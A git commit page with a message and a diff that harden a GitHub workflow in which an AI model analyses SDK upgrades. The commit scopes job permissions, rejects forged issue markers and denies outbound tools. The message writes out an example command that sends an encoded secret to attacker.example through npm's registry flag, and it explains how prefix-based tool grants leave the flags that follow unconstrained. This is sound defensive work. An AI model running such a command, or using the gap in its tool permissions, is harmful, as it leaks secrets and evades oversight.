modelcontextprotocol/inspector
Watch
1
0
Fork
You've already forked inspector
 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions 2

fix: address Copilot review round 4 on the SDK watch

Browse source 
Four findings. Two are trust-boundary bugs on a public repo; two are the
same class of grant mistake I had already made twice.

1. (Suppressed finding.) `Bash(npm view:*)` was an outbound channel. npm
   accepts `--registry=<arbitrary URL>`, and a Bash grant matches a
   command PREFIX and constrains nothing after it, so
   `npm view x --registry=https://attacker.example/<encoded secret>`
   matched the grant. Nothing is published to the issue, so the verbatim
   output scan cannot see it at all.

   That is the third instance of one mistake in this review — scoping the
   command and leaving the flags unbounded — after `Bash(gh api:*)` in
   round 1 and `--body-file /proc/self/environ` in round 3. The grant is
   removed (the prompt is handed both versions and takes release notes
   from `gh release view`), `Bash(npm:*)` joins the deny list, and the
   general rule is now in AGENTS.md rather than three war stories: a
   prefix grant constrains the command, never its flags.

2. The model's job held `issues: write`. Permissions are scoped per JOB,
   not per step, so my round-3 claim that the model only ever saw a
   `contents: read` token was false while the posting step shared its
   job. Split into three: `sweep`, `analyze` (`contents: read`, runs the
   model), `post` (`issues: write`, runs no model).

   The hand-off is an ARTIFACT rather than a job output, because matrix
   job outputs collide — every leg writes the same key — which would post
   one SDK group's write-up onto the other group's issue. A failed
   analysis leg uploads nothing, which is not fatal: the download is
   `continue-on-error` and the post is gated on the file existing, and
   the issue then lands in exactly the un-analyzed state the round-2
   retry path picks up.

3. Issue markers were trusted without provenance. This repo is public, so
   anyone can open an issue whose body starts with the current target's
   marker — and close it — to suppress the real upgrade issue
   indefinitely, or use a malformed target to throw in `semver.lt` every
   run. `sweepIssues` now requires BOTH the automation author (with the
   `[bot]` suffix normalized, since gh and the REST API spell it
   differently) and the `chore` + `dependencies` labels an outsider
   cannot set. Marker targets are validated with `semver.valid`.

4. Comment markers had the same gap, and my round-3 fix had addressed the
   wrong layer: it stopped splitting comments on newlines but still
   reduced each to its body, discarding the only field that makes a
   marker mean anything. `issueComments` now returns `{author, isBot,
   body}`, and both consumers require the automation — so a forged
   analysis marker no longer suppresses the retry and a forged
   supersession marker no longer suppresses the note. Being a bot is not
   enough; it has to be ours.

   The test fake mattered more than the assertions here: comment fixtures
   were plain strings, so every one was implicitly automation-authored
   and no test could have expressed a forgery at all.

Two workflow invariants are now pinned by tests, since both are the kind
of thing a later edit undoes by accident: the `analyze` job's permissions
are exactly `contents: read` with no posting step, and the `--allowedTools`
whitelist mentions none of npm, curl, wget, WebFetch or WebSearch.

Mutation-checked, each failing a different set:

  isSweepAuthored -> true          -> 3 tests (unit + 2 e2e)
  isAutomationComment -> true      -> 3 tests (unit + 2 e2e)
  semver.valid filter removed      -> 1 test
  Bash(npm view:*) restored        -> 1 test
  issues: write re-added to analyze -> 1 test

58 tests in this file; `npm run local:gate` green end to end.

Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_019JWUZxLDnPgLQzjBrtk1x9
Signed-off-by: cliffhall <cliff@futurescale.com>
This commit is contained in:
cliffhall 2026-09-06 10:43:10 -04:00
commit 2a6c510e49
1 changed files with 433 additions and 35 deletions
Download patch file Download diff file Expand all files Collapse all files

102
scripts/sdk-watch.mjs
View file

@ -122,13 +122,83 @@ const SUPERSEDED_MARKER_RE = /^<!-- sdk-watch:superseded-by (.+?) -->/;
export const ANALYSIS_MARKER = "<!-- sdk-watch:analysis -->";
/**
* Has this issue already been given its automated analysis?
* The account this sweep's own issues and comments are written by.
*
* @param {string[]} commentBodies
* ⚠️ **This repository is PUBLIC, so a marker is not evidence of anything on its
* own.** Anyone can open an issue or write a comment whose body starts with any
* string they like, and every marker here is load-bearing for automation
* (Copilot). Left untrusted, an outsider could:
*
* * file an issue carrying the current target's marker — and close it — to
* suppress the real upgrade issue indefinitely;
* * post `<!-- sdk-watch:analysis -->` as a comment to suppress analysis
* retries forever;
* * forge a supersession marker so the genuine note is never posted.
*
* So a marker counts only when the thing carrying it was written by this
* automation. `gh issue list --json author` reports a bot with the `[bot]`
* suffix stripped and `is_bot: true`, while the REST comments endpoint reports
* `github-actions[bot]` with `type: "Bot"` — hence the normalization in both
* predicates rather than one spelling assumed.
*/
export const AUTOMATION_LOGIN = "github-actions";
/** Labels every issue this sweep files carries; an outsider cannot set them. */
export const SWEEP_LABELS = ["chore", "dependencies"];
const normalizeLogin = (login) =>
String(login ?? "")
.toLowerCase()
.replace(/\[bot\]$/, "");
/**
* Was this issue actually filed by the sweep, rather than merely shaped like it?
*
* Requires BOTH the automation author and the labels the sweep applies. The
* labels are the stronger half in practice: the issue forms in
* `.github/ISSUE_TEMPLATE/` apply `bug`/`enhancement` and `v2`, and setting
* `chore` or `dependencies` needs write access, so a drive-by cannot fake one
* even from an account named to look official.
*
* @param {{author?: {login?: string, is_bot?: boolean}, labels?: Array<{name?: string}>}} issue
* @returns {boolean}
*/
export function hasAnalysis(commentBodies) {
return commentBodies.some((body) => (body ?? "").startsWith(ANALYSIS_MARKER));
export function isSweepAuthored(issue) {
if (normalizeLogin(issue?.author?.login) !== AUTOMATION_LOGIN) return false;
// `is_bot` is absent on some `gh` versions; only an explicit `false` — a human
// account that happens to carry the name — is disqualifying.
if (issue?.author?.is_bot === false) return false;
const names = new Set((issue?.labels ?? []).map((l) => l?.name));
return SWEEP_LABELS.every((label) => names.has(label));
}
/**
* Was this comment written by the automation?
*
* @param {{author?: string, isBot?: boolean}} comment
* @returns {boolean}
*/
export function isAutomationComment(comment) {
return (
normalizeLogin(comment?.author) === AUTOMATION_LOGIN &&
comment?.isBot !== false
);
}
/**
* Has this issue already been given its automated analysis?
*
* Only a comment the automation wrote counts — see `AUTOMATION_LOGIN`. A comment
* from anyone else that happens to start with the marker is ordinary text.
*
* @param {Array<{author?: string, isBot?: boolean, body?: string}>} comments
* @returns {boolean}
*/
export function hasAnalysis(comments) {
return comments.some(
(c) =>
isAutomationComment(c) && (c?.body ?? "").startsWith(ANALYSIS_MARKER),
);
}
/**
@ -435,7 +505,7 @@ function sweepIssues(repo, spawn) {
"--search",
"sdk-watch in:body",
"--json",
"number,body,state",
"number,body,state,author,labels",
"--limit",
"100",
]);
@ -443,8 +513,9 @@ function sweepIssues(repo, spawn) {
throw new Error(`gh issue list failed: ${(result.stderr ?? "").trim()}`);
}
return JSON.parse(result.stdout || "[]")
.filter(isSweepAuthored)
.map((issue) => ({ ...issue, marker: parseMarker(issue.body) }))
.filter((issue) => issue.marker);
.filter((issue) => issue.marker && semver.valid(issue.marker.target));
}
function currentMilestone(repo, spawn) {
@ -470,7 +541,12 @@ function currentMilestone(repo, spawn) {
* combined with `--jq` — `gh` rejects the pair outright — which is exactly why
* the parsing moved here.
*
* @returns {string[]} one entry per comment
* ⚠️ It keeps the AUTHOR, not just the body. Reducing a comment to its text
* discards the only thing that makes its marker trustworthy — this repo is
* public, so any commenter could otherwise forge one (Copilot). See
* `AUTOMATION_LOGIN`.
*
* @returns {Array<{author: string, isBot: boolean, body: string}>} one per comment
*/
function issueComments(repo, number, spawn) {
const result = gh(spawn, [
@ -485,7 +561,11 @@ function issueComments(repo, number, spawn) {
);
}
const pages = JSON.parse(result.stdout || "[]");
return pages.flat().map((c) => c?.body ?? "");
return pages.flat().map((c) => ({
author: c?.user?.login ?? "",
isBot: c?.user?.type === "Bot",
body: c?.body ?? "",
}));
}
function comment(repo, number, body, spawn) {
@ -662,8 +742,12 @@ export function main(
if (stale.number === number) continue;
if (stale.state !== "OPEN") continue;
if (!semver.lt(stale.marker.target, state.target)) continue;
// Only the automation's own note counts as "already announced" — a
// forged one from any commenter would otherwise suppress the real one.
const announced = issueComments(repo, stale.number, spawn).some(
(body) => parseSupersededMarker(body) === String(number),
(c) =>
isAutomationComment(c) &&
parseSupersededMarker(c.body) === String(number),
);
if (announced) continue;
comment(